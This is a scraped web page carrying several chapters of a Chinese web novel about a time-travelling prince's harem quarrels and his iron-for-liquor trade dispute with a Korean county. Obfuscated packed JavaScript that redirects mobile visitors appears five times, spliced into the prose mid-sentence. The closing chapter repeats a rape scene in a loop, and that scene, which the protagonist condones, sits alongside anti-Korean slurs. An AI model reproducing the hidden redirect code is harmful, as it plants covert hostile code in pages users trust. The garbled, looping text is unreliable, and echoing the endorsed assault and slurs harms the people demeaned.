晴雯刚要反驳,林臻示意她别说话,自己继续说道:“我知道你出身不好,想用这样的性格来给自己树立不好惹的威信。但那是以前,现在你也有了属于自己的丫鬟,是府里正儿八经的主子,所以不需要再这样了。婉儿是个传统的好姑娘,由她持家也是王爷钦点,所以今天你确实不该闹的。” “我再不闹她就要骑在我脑袋上了。” “婉儿不是那样的人,今天也确实是她让我来陪你的。” “打个巴掌给个甜枣,谁不会啊。”晴雯把头埋进林臻胸口里,陶醉得翻个白眼。 林臻说:“明天就搬回去吧,这里松柏太多,夏天还好些,冬天太冷了,不适合你养胎。” “我不要,除非.”晴雯突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421996|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然抬起头,伸出香舌舔了舔猩红的嘴唇。 林臻大惊:“你怀着孕呢。” “妾身已经问过孙神仙了,他老人家说六个月已经可以了呢~” “这” 林臻两世为人也没试过孕妇,要不.试试? 当然,林臻可不是那种低俗的人,他主要是想给晴雯调理调理身体,以方便更好的养胎嘛。 就见晴雯美眸轻眨,滑了下去。 嗷呜!! 总是些家长里短的小事儿,既然晴雯已经同意主动找婉儿和解,林臻也就没什么好担心的了。 本质上婉儿是想更好地管理后院,并不是刻意刁难晴雯,所以两姐妹间也没什么不好说的。 见后宫逐渐开始和谐,林臻也开始把目光放在别的地方。 叶县。 半个月了,韩国还没给个准信,庄三亭一直在博望县等消息。 第四批二锅头已经悉数运送,甚至第五批二锅头已经出发了。 但第二批生铁还没运回去。 为此庄三亭很不爽,索性直接住在了博望县县衙,但凡生铁不到位,他就不走。 十几封加急文书送到王府和皇宫里。 得知消息的慕容嫣气得大骂,说棒子国就是小人,当初就不该答应这样的贸易。 林臻却早就想到了这一点,只是他暂时还没明白韩国到底想做什么。 切断生铁交易,对韩国来讲确实叫及时止损,但他们的想法真的这么简单吗?林臻不这么认为。 **场上哪有明明白白的事情?所以他打算亲自去看看,如果可以,就让贸易继续,最好在从韩国身上扒层皮下来。 让所有国家都看看,敢欺骗大乾,就是这样的下场。 出了正月。 二月二龙抬头这天全国祭祀,林臻在一切典礼结束之后便打算出发去叶县看看。 照例带上浣碧贴身伺候,又喊上闲着腚眼招蛆的王胖子,另外带三百虎贲营保护,队伍浩浩荡荡出发,不许几日,便来到叶县。 第450章 纪什么常? 林臻上辈子有路过叶县当时还在这里吃了碗叶县烩面味道不错。 这里相较于大乾京城气候稍微温和些不至于太冷但毕竟是冬末没有温度的冷风吹进袖子里还是带着几分寒意。 这是对其他人而言对林臻来讲就没有那么多顾忌。 他现在是夏天不热冬天不冷 人的身体既不耐寒也不耐热连猴子都不如。 所以人能是猴子进化的吗? 林臻不知道他也没有要推翻进化论的想法爱什么变得就什么变得他只是发发牢骚而已。毕竟靠骑马来长途跋涉是件很无聊的事情。 到了叶县队伍开进城门就见新任的叶县县令纪伯常率领一众县官正站在大门口迎接。 他们都是土生土长的大乾官员从家乡被委派到这里的不是楚人所以对林臻十分亲近。 因为如果没有林臻他们就没有将功折罪官复原职的机会。 纪伯常走上前作揖道:“下官纪伯常参见世子!” 林臻点点头:“名字起得不错免礼。” “谢世子夸奖!” 纪伯常是个四十出头的中年人家庭背景一般但为人很是坚毅只可惜初来乍到不懂官场被顾家做成一本贬谪到了贫瘠之地。 这次重新启用对他来讲也算重获新生。 纪伯常亲自给林臻牵马一路来到县衙比较招摇。 百姓没见过林臻但这么长时间也听说过他的大名知道是皇帝的丈夫此刻站在街巷两边纷纷驻足观瞧。 叶县县衙不甚气派除了有个前堂用来断案之外和普通的驿站差不多。到了地方林臻下马亲自迎浣碧出来胖子则是一搂纪伯常的肩膀贼兮兮地说道。 “老纪啊见识胖爷吗?” 纪伯常略微胆怯地笑了笑:“认识认识当然认识这大乾土地上谁不认识胖爷您啊。” “诶算你丫有点眼力说说这县里都有什么好玩的?胖爷这次可是带着任务来的必须要促进京城与地方上的妓院文化交流。” 妓院文化交流。 果然是京城来的少爷连**都一股子官腔。 纪伯常笑道:“胖爷放心稍候安顿好世子下官亲自给您安排包您满意!” “哈哈哈哈哈老纪啊别看你相貌丑陋名字低俗但还是很 上道的嘛!不错,胖爷喜欢,哈哈哈哈。” 胖子松开他,大踏步地往院子里走。 林臻听到两人的对话,无奈地摇摇头,拉着浣碧也一起进去。 县衙早就打扫出来了空房间,整理得很是干净。 浣碧先去换衣服,林臻则是来到中堂,与纪伯常等几名县衙官员相对而坐。 他不是来旅行的,也没什么心思去看古长城,坐下后便开门见山地说道:“纪县令,韩国那边的生铁到底怎么回事?” 纪伯常收拢表情,正襟危坐,拱手道:“回世子,韩国使者只是说目前生铁紧缺,没办法继续开采,而且紧联的两座矿山因为全都是树木,百姓不愿意砍树开山,所以说要等一段时间,要入夏才可以。” 胖子冷哼一声:“哼,狗屁,胖爷看他们就是想耍赖。大哥,要不胖爷直接带兵把他们境内的几座矿山占了,我们自己开发。” 林臻摆摆手,示意他别插嘴,目光再次看向纪伯常。 “我们已经运多少批次的二锅头了?” “第七批已经运过去了,第八批和第九批都已经在路上。下官琢磨着这样一直送也不是办法,要不我们还是先暂停运输,找韩国使者谈谈吧。” “唔,回头你去安排,先把运过来的二锅头放在县城里储存起来,等我的命令。庄三亭还在博望县?” “对,庄统领一直都没有回来。” “行,明天我去博望一趟,胖子跟我一起。” 胖子立刻点头:“得嘞大哥!” 浣碧换好了衣服,穿着淡粉色厚实的长裙,外面一件小棉袄,乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421997|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧得像邻家女孩。 她手里捧着茶盏,放在林臻身边,随即又退了出去。 林臻拿起来,拨弄两下茶叶,问道:“老纪啊,叶县的百姓现在对大乾的统治,可有异议?有没有什么不好的事情发生过?” 纪伯常想了想,说道:“回世子,下官也来的时间不长,但经过观察百姓并没有抵触情绪。但是闹着要回南楚的江湖人士很多,动不动打着什么反乾复楚的旗号鼓动百姓。但是百姓也不傻,**是要**的。现在有吃有喝有衣服穿,有老婆孩子要照顾,谁跟着他们**啊。那些极端的士子已经被**了几次,目前城内很和谐。” “有个叫韩笑东的,你认识吗?” “认识,这个韩笑东本来是郡里的主簿,前段时间不知道谁传的,说他要来叶县当县令,后来不知道因为什么没当成,目前还在郡里。不过这段时间他倒是经常来叶县,名为视察,实则并没有做什么。” 林臻眉毛一挑:“哦?你派人监视了不成?” “不不不。”纪伯常连忙摆手,“下官岂能监视长官?是韩笑东来了之后就一直住在县衙,住几天就走,所以下官才说他并没有做什么。” 在韩国,姓韩的人很多,甚至在各地方上“韩”也不是什么稀有的姓氏,难道说这个韩笑东真的和韩天星、煊赫门没关系? 不行,小心驶得万年船,林臻不认为这世间有那么多的巧合。 这个韩笑东,实在不行就直接弄死算了。 可是总不能把大乾境内的所有姓韩的人都弄死吧?那也太离谱了。 还是再观察观察,明天先去博望县,见见韩国使者。 如果这个棒子敢说百姓不同意开山之类的,林臻不建议给他们韩国人好好上节课。 让你们看看,什么叫顶级阳谋。 “好了,按我说的去做,新运进来的二锅头就放在城里。”言罢林臻对浣碧说道:“碧儿,你收拾收拾,明天我们去博望县。” 第451章 刚进城就坑死一个乞丐 进入博望县,就来到韩国。 人们都说大乾如何如何穷困,如何如何破败,但只要你亲自去别的国家走一走,你就知道,原来别的国家也和宣传中是不一样的。 就拿这座边疆的县城来说,以后博望县和南楚接壤,他们并没有对城池加固,也没有像样的防御设施。 如今和大乾接壤,依旧是这个样子,就好像别的国家永远不会从博望县入侵一样。 进了城,林臻更加觉得这里萧条,别说和大乾京城相比,就是和隔壁的叶县相比,也差出许多。百姓一个个面黄肌瘦,大冬天的也没个像样的御寒之物,甚至街边都有冻死的乞丐晾晒在那里。 巡逻的兵丁对其不管不顾,百姓也司空见惯的样子,并没有引起什么注意。欢天喜地的酒楼、歌舞场依旧盛开着,酒馆里的划拳声不绝于耳,与那冻死的枯骨形成鲜明对比。 房屋有完整的,也有不完整的,进城前林臻观察到博望县的村民有很多还住着破洞的房子,百姓双手插袖,蜷缩在院子里、房间里,目光里没有任何希望,只有对生活的无奈与死寂。 这座城,在林臻看来就是一座死城。 不知道为什么,在煊赫门如此强大的**势力的统治下,百姓居然会过上这样的日子。 难不成是上位者太**了吗? 有这个可能。 从他们用生铁换二锅头这件事情来看,韩国的朝廷不是一般的**。当然,林臻不认为他们只是为了喝酒,肯定还有别的目的。 但这样的交易,对百姓能有什么好处呢? 就没人**吗? 确实没有,因为别看百姓们过得艰苦,但是他们终究是有饭吃的。 我们中国百姓就是这样,几千年来,除非实在吃不上饭,否则谁也不会把脑袋别在裤腰带上跟着**。 可怜呐。 城中,林臻骑在马上叹了口气。 胖子问道:“大哥为何叹气啊? “唉,我是心疼这里的百姓啊。都是纯良的炎黄子孙,居然在朝廷的统治下过着这种日子。 “大哥就是喜欢悲天悯人,殊不知我们大乾几十年前也没比他们强多少! “所以我才有些心疼,日子过程这个样子并不是他们想的,而是上位者故意安排的。让百姓吃不饱,也饿不死,所以就只能永远给上位者干活。 说到这,胖子也沉默了。 他是鲁莽,是脾气火爆,但不是傻子。 他能感觉出来,这里的百姓 活得很是艰苦。 谁还没有个恻隐之心了。 因为部队不允许进入城池,所以林臻就带着浣碧、胖子、侯春以及十名随从,队伍浩浩荡荡地来到直奔县衙。 途中有很多乞丐围上来,头发像稻草似的,手里拿着破碗,拄着一根打狗棍,佝偻的双眼里满是恳求。 林臻没给钱,也没给吃的,心里心疼,外在冷酷。 乞丐是救不过来的,给多了反而会害了他们。 倒是坐在马车里的浣碧心善,见不得穷苦人挨饿,于是从自己的包里拿出很多酥糖、绿豆糕之类的点心,从车窗探出手来分在他们碗里。 乞丐这辈子也没吃过这么好的东西,一口吞下不说,还纷纷叫嚷的还要。 浣碧抖了抖那片能买他们命的蜀锦刺绣包袱皮,示意没有了。 谁知其中一个乞丐手疾眼快,一把将浣碧的包袱皮抢走。 “喂!!那是我的!!”浣碧隔着车窗大喊。 侯春见状,咒骂了一声,身体嗖的一下窜出去,没几步就把乞丐追上。 “他奶奶的!连我们家夫人的东西都敢抢,不想活了?” “大爷饶命!大爷饶命啊!!”乞丐跪在地上连连磕头。 林臻骑着马走过来说道:“猴子,放开他。” “世子!” “包袱已经脏了,夫人不会要的,送他吧。” 恶人自有天收。 林臻还不屑跟一个乞丐计较。 “这是。”侯春答应一声松开手。 那乞丐忙不迭地又磕了几个头,转身跑开。 谁知就在此时,别的乞丐突然围了上去,对着他手里的包袱皮硬抢。 乞丐大喊:“诶诶诶,你们干什么!这是贵人赏给我的!” “放手!!这是我的!” “啊!!” 其中一个乞丐见他不松手,直接一拳头打上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421998|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砰的一声,乞丐的鼻血就喷出来老高,其余人见状也纷纷对他拳打脚踢,场面十分凄惨。 最后,那漂亮的包袱皮被撕成了几块,众人一分,离开现场。 而那抢走浣碧包袱皮的乞丐已经被打得不省人事,如果不及时送医,恐怕性命不保。 这一切林臻都亲眼目睹。 但是他没有任何表情变化,带着队伍直奔县衙。 林臻、侯春两人站在县衙门口。 至于胖子、浣碧等人则是去往驿站。 经过通报,博望县的县令便亲自 出来迎接。 林臻看去,就见此人是个年轻的公子哥,相互作揖之后才知道他的名字叫韩雷,是去年的举人。 韩雷引着林臻走向正堂,边走边说:“世子的大名,在下可是如雷贯耳啊,哈哈哈哈,您能亲临博望,真是让这座小城蓬荜生辉!” 林臻内心冷笑。 还蓬荜生辉呢,刚进城就坑死一个乞丐。 博望县有你这样的县令也算倒了死霉。 不过林臻向来是伸手不打笑脸人的,更何况这是别国的事情,他没心情管。 来到正堂,双方落座。 林臻说道:“韩县令年纪轻轻就能独当一面,真是令林某人刮目相看。不过我今天来是有事情要问你。” 话音刚落,庄三亭就从客房走了出来。 也不经过通报,直接迈步入内。 “世子,您可来了!” 林臻眉头一皱:“慌什么,这点事情还需要我亲自处理,要你何用!” “额是,属下无能,但这帮狗.韩国朝廷说现在生铁不够,没办法采集。” 林臻闻言,望向韩雷:“哦?韩大人,我这兄弟说的可是真的?你们韩国没有铁了吗?” 别看韩星岁数小,但绝对是煊赫门出来的人,说话的时候皮笑肉不笑,满脸的奸臣相。 “呵呵呵,世子说哪里话。铁这种东西,我韩国有的是,可都在山里埋着呢。现在还不到夏季,很多都是冻土。想开采难度极大,当然,也有不是冻土的铁矿,但那是还没开发的,山上有很多树木、石头。我也曾动员百姓去开发,但是百姓不干啊。” 第452章 这若是不去,倒显得我不解风情了。 林臻眉毛一挑:“哦?为何不干?百姓还能不听县衙的命令?” 韩雷呵呵笑了一声:“呵呵呵,世子有所不知,并不是百姓不听县衙命令,而是县衙现在拿不出物资来。百姓吃不饱饭,手里没有工具,如何干活?再者,岭山那片地村民十分团结,一个说不干,那就全村都不干。我们总不能把城里的百姓派到山里面去干活吧?那消耗也太大了。” 林臻点点头,内心也明白点东西。 这是煊赫门给林臻出的难题。 你不是想占便宜用二锅头换生铁吗?好啊,自己去挖啊。 如果你自己挖,那就是消耗粮食、物资,并且还要想办法让百姓听话。 如果百姓不听话,那就不止是出洋相的问题,还会在有心之人的刻意宣传下,打击大乾、林臻的威名。 如果强行征徭役,弄出什么**事件,那就更妥了,煊赫门正好可以趁机拉拢其他国家,再发布檄文对大乾进行人道主义讨伐。 好算计啊。 但这帮人是真以为自己没办法控制那些愚民吗? 呵。 林臻暗暗冷笑。 这些可不是大乾人,虽然也属炎黄子孙,但刁民不可理喻。林臻动起手来,是绝对不会心软的。 或许此时此刻,韩雷正在等他说出那句:我们自己干。 林臻说道:“那依韩大人的意思呢?” “呵呵呵,在下知道世子那边极缺生铁,但我们又没办法生产,不如我暂时把岭山划给你,你自己去开采,采多少都是你的!当然,世子也可以拒绝,但已经收进来的二锅头,可是不退的哦!呵呵呵呵。” 韩雷笑得十分奸诈,还以为自己占了什么大便宜呢。 几车二锅头而已,对林臻来说,摔了听响都无所谓。 但是这面子万万不能丢,更何况他还开出这么好的价钱,如果不利用一下,榨干岭山地区的油水,他就枉为穿越者。 林臻笑着回应:“那好,我接受你的提议。” “世子别急,我们可有言在先!岭山村民虽然彪悍,但也是我韩国的百姓,你们不能要打要杀的,如若不然,后果自负。不过为了方便你们,在下允许世子在岭山驻军,数量不得超过五百。世子以为如何!?” 林臻故意装出一副很感激的样子,站起来抱拳:“那就多谢韩大人,事不宜迟,我这就去安排了,择日再携重礼登门拜谢。” “好,世子慢走。” “再会。” 林臻转身的 瞬间脸上的冷笑终于忍不住绽放开来。 而盯着他背影的韩雷也同样冷笑。 直到林臻的身影在庭院尽头,县衙正堂的屏风后面这才走出来一个人。 他头发花白,穿着洁白的长衫,看起来气度不凡。 他走到韩雷面前说道:“这小子果然上当了。 “呵呵呵,什么狗屁世子,也不过如此嘛。听说我让他驻军,他高兴得跟什么似的。言罢韩雷回头望向老者,“祖父,陛下那边怎么说的? 老人板着脸,沉吟道:“陛下的意思很明显,如果开战,韩国愿意加入,但韩国也绝不会第一个冲锋陷阵。 “哼,韩天鸿老了,还不如让我做这个皇帝呢。 “你懂什么?我们韩家虽然控制者整个朝廷,但还没强大到控制天下。陛下雄才大略,深谋远虑,岂是你能比拟的!盯紧林臻,有任何情况速速来报。 “是。 韩雷虽然点头答应,但内心里却很不屑。 这林臻看起来年岁和他差不多,在乾国又娶皇帝又睡后宫的,凭什么? 就凭他长得比自己帅? 草。 还派人盯着,钉个屁!他林臻要是能把岭山的百姓处理好,我韩字倒着写。 林臻回到驿站,庄三亭的运送队伍也跟着回来了。 有了主心骨,他也没必要再在人家县衙里撒泼。 博望县驿站有些破旧,估计也是很久都没有人住过了。 路过的客商基本都住酒楼,有点钱的也都去青楼挥霍,没有哪个官员会在路过博望县的时候专门去驿站歇息。 当官是为了什么? 是吃苦受罪的? 不可能。 浣碧总是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421999|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么勤快,把房间里收拾得一尘不染,只等林臻回来。 结果没等来。 庄三亭汇报说世子要去考察下博望县市场,得晚点才能回来,浣碧自然不会多想,自己一个人在房间里摆弄起针线活。 其实我们最常说的一句话就是:来都来了。 林臻现在就是这个想法,既然都来到博望县了,不出去看看很可惜——即便这个城市并没有什么好看的。 胖子却劲劲儿的,硬拉着林臻出门,说要代表大乾**考察下韩国的**工作,回去了好分享相关经验,促进青楼业发展,提高小姐业务能力以及工作水平。 林臻是不屑**的,不管是后世还是现在。 倒不是说他有多高尚,而是他觉得有点恶心。 因为林臻在派出所有个好朋友,当天他去找朋友准备办点事情,于是就在大厅里等。 结果他朋友带着一队小姐和几个**回来的。 怎么说呢姑娘们都不错,化化妆,烫个头,穿个好看的衣服,比较招揽生意。 但那群客人.有五大三粗的农民,有手掌粗糙的农民工,还有攒了几个月零花钱硬要爽一把的掏粪工人以及吊儿郎当什么事儿也不干,拿着父母低保工资该溜子。 倒不是说客人卑贱,林臻绝对没有这个意思。 就像那位同志说的一样:你掏大粪,我当皇帝!**分工不同,但都是为人民服务嘛。 但令林臻难受的是,小姐这个职业大部分是不挑客人的。 你不知道此时此刻你身下的漂亮姑娘,之前都接待过谁。 都有谁在她的胸膛留下了齿痕。 她那充满玻尿酸的俏丽红唇有没有亲吻过一个二十年抽烟喝酒不刷牙,三十年不刷鞋不洗脚的粗犷大汉。 让林臻去喝这些人的刷锅水,他死也不干。 但是看看总不犯毛病吧? 今天月亮正好,云淡风轻,街边灯火阑珊,姑娘们穿着清凉的站在青楼的回廊对你丢手绢。 一边丢一边喊着:“大爷~来玩嘛~~” 嘶.这若是不去,倒显得我不解风情了。 第453章 休怪胖爷正义的铁拳无礼 博望县本就不大,都不需要骑马,沿着县衙门口的大街往西边走百步就是本县最大的青楼,博望楼。 林臻看到这座三楼木制小楼的第一个感觉,就是野堂子。 太野了。 就像社会边角不起眼的粉灯洗头房,四十有七的大妈穿着上个世纪的红色皮裤站那接客的既视感。 说实话,这样的青楼别说和大乾京城的一体化娱乐城比。 就是比三十年没装修的教坊司也差很多档次。 林臻当时都不想去了。 胖子却拉着他,说道:“哎呀大哥,一看你就没有经验!越是这不起眼的地方越有好货色。咱说咱来都来了,就当体验体验,进去看看?胖爷今天大出血,我请客!” 林臻回头看了看侯春,见这厮也是一脸的嫌弃。 最后拗不过胖子的生拉硬拽,在诸位长相还不错的姑娘簇拥下,走上楼梯。 进了大门,里面豁然开朗,灯红酒绿,宾客满座。 明明没有任何取暖设备,仅仅凭人气,就能撑起这么大的空间。 穿着花花绿绿的清凉姑娘手里端着托盘游走于各个雅座。 原来这里不光是青楼,还是个歌舞场,只是这场子很小,只有最里面大概二十平方的舞台。 舞台上铺着比林臻岁数还大的红地毯,八位舞娘赤着脚踩在上面不停转圈,手臂、手掌都缠着白绫,裤子也松松垮垮地露出半截小腿。 说像仙子不像仙子,倒像给仙子端尿盆的。 但是该说不说,这里的姑娘长相还都不错,身段也是极好,甚至林臻还看到几个胸口平平的小萝莉。 果然,一旦这种行业回归实体,质量也是蹭蹭的上涨。 这一刻,林臻对野堂子的刻板印象好了不少。 想到这,他又暗暗觉得可惜。 后世不管是洗浴还是KTV,姑娘质量都比十年前差太多了,但凡有点颜值的都去干直播,谁还关心实体经济。 胖子一手端着一个大银锭,瞧那样子一个最少得有五十两,也不知道从哪掏出来的。像端着祖宗灵位似的,走路都不看人,直到眼前出现一个摇着画扇的老鸨子,这才停下脚步。 风月场所最不缺的就是有钱人,老鸨子倒没对着一百两银子有多上眼,只是目光直勾勾地盯着胖子,娇笑着说:“哎呦喂,这位胖爷,您有点面生啊,可是外地来的?” “姐姐眼光不错!啊!胖爷来自遥远的西伯利亚,肩负着慰问韩国底层人民的神圣使命,你立刻 给我们准备个位置最好的包厢,带六个最好的姑娘,上六瓶最好的酒,若是敢糊弄事儿,休怪胖爷正义的铁拳无礼!” 胖子一套一套的。 老鸨子哪懂什么西伯利亚,大兴安岭的?全当胖子胡吹。 不过看在钱的面子上,她也没戳穿,扭着水蛇腰带着胖子和林臻往二楼走。 因为是歌舞场,所以舞台的上方是镂空的,其余二楼三楼的包厢都半包围着舞台。 老鸨子把胖子和林臻带到其中一个位置还不错的包厢里。 胖子走到包厢边缘看向舞台,觉得不满意。 “姐姐,这位置可一般啊,胖爷要最中间的!” “哎呦喂,这位胖爷您不知道,最中间的包厢里面有人,是我们县太爷用来招待客人的!除了那间,这间已经是最好的了。” 在一般人眼里,县太爷这样的芝麻官已经是遥不可及的存在。 试想一下,你到KTV想要个最大的包厢,然后经理跟你说,县太爷在最大的包厢里招待客人呢。 你还敢去吗? 就算你背景深厚,也不能这样明目张胆地去招惹人家。 所以老鸨子说这话的时候很硬气。 但王胖子是什么人?在大乾,三品以下的官员连给他提鞋的资格都没有! 区区县太爷,什么鸟东西。 胖子大手一挥,一把将老鸨子搂住,银锭往罗汉床上一扔,南北其手,坏笑道:“姐姐,不给包厢也行啊,你陪胖爷来一出?” 老鸨子也不生气,估计是习惯这样了,依旧是娇笑着说:“胖爷您快别闹,过过手瘾就算了,奴家还得招待客人呢!” “什么客人有胖爷尊贵啊?今天你就在这陪胖爷喝花酒,提成少不了你的。” 胖子把手从老鸨裙下拿出来,还很变态地嗅了嗅,再次坏笑:“呦?味儿很正啊!不错,胖爷喜欢。” “哎呀胖爷真是坏**呢,奴家是真的没时间,不是钱的问题呀!” “哦?你们在这干活难道不喜欢钱?还是说胖爷出的钱少啊?” 一百两银子在韩国不算小钱,但对歌舞场的老鸨来说,大钱见得多了,自然就有一定的抵抗力,她扭着水蛇腰,夹紧双腿,一双晶莹剔透的手指推搡着胖子的胸口。 “胖爷,奴家知道您有钱有实力,可是奴家真的还要干活呢,难道您就忍心看着奴家被老板骂嘛~~” 一句话说的胖子更是心痒痒,他不管不顾,一把就将老鸨子扔到罗汉床上。 这下老鸨表情可变了。 说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 这下老鸨表情可变了。 说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 这下老鸨表情可变了。 说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 这下老鸨表情可变了。 说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422000|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 这下老鸨表情可变了。 说过说,闹过闹,可你不能强上啊! “你干什么!我不要!你放开我!” “小娘们,怎么?在胖爷面前立牌坊?嗯?像你这样的老鸨胖爷上过的何止十个八个?乖乖就范吧你!哈哈哈哈!” “啊!!啊!!别!” 老鸨双手被胖子一只手按住,死命挣扎,两条腿在空中乱踢。 胖子的大体格被踹两脚也不在意,该干什么干什么。 老鸨喊道:“你放开我!你知不知道我是谁!” 胖子哈哈大笑:“我当然知道啊,你是胖爷的小美人!嘿嘿嘿!” “你”老鸨突然闭嘴,声音戛然而止,紧随其后的是罗汉床的声音。 老鸨把无奈与恳求的模样瞟向林臻。 希望他可以劝劝这个不懂规矩的人。 但林臻才不会管她呢。 别人都可以上,我兄弟不能上? 再说了,她一个韩国人,林臻没有任何心理负担。 原始动物的衾裯,林臻没有任何兴趣,她走到临近舞台的边缘,目光灼灼地看着下面舞娘翩翩起舞。 突然,隔壁包厢传来一个声音。 “哈哈哈哈,这次林臻死定了!” 这下老鸨表情可变了。 